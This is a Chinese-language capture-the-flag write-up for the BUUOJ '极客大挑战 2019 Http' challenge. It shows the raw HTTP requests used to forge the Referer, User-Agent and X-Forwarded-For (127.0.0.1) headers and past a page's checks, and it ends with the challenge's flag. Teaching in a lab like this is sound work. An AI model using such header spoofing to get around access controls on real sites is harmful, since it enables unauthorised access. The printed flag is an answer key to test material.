极客大挑战 2019 Http

寻找目标

一上来发现什么有效的信息都没有,打开 F12,发现有个 Secret.php

Referer

点进去,发现他希望我们的请求来自 https://Sycsecret.buuoj.cn

遇到这种情况,我们首先想到的是我们 Http 请求中的 Header 应当有 Referer 值,且 Referer = https://Sycsecret.buuoj.cn,这个网址不一定是真的,但网站只会识别请求中的 Referer,他并不知道你到底从哪里来,你只需要按部就班就是了,于是我们使用一个 API 测试工具(我用的 Apifox)往请求中添加 Referer,可参考下面的 Http 请求代码

GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:25522
Referer: https://Sycsecret.buuoj.cn
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: node4.buuoj.cn:25522
Connection: keep-alive

User-Agent

发送请求后,可以看到如下界面,他希望我们使用 Syclover 浏览器访问这个网站,但是很明显,这个浏览器压根不存在,那么我们可以更改 Header 中的 **User-Agent**(简称 UA) 值来模拟一个 Syclover 浏览器,即 User-Agent = Syclover

可参考下面的 Http 请求代码

GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:25522
Referer: https://Sycsecret.buuoj.cn
User-Agent: Syclover
Accept: */*
Host: node4.buuoj.cn:25522
Connection: keep-alive

X-Forwarded-For

发送请求后,可见如下界面,翻译一下,他希望我们是本地用户,我都从外网访问了,我怎么才能让他觉得我是本地用户呢?这就需要伪造 Header 中的 **X-Forwarded-For**(简称 XFF)值,XFF 通常存储的是原始客户端的 IP 地址,那就是说,如果我的 X-Forwarded-For = 127.0.0.1,那我就相当于伪造成了本地用户

可参考以下 Http 请求代码

GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:25522
Referer: https://Sycsecret.buuoj.cn
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1
Accept: */*
Host: node4.buuoj.cn:25522
Connection: keep-alive

发送请求后,即可得出 Flag 为 flag{dd80eb69-8471-45f2-b0e7-5865d5d11382}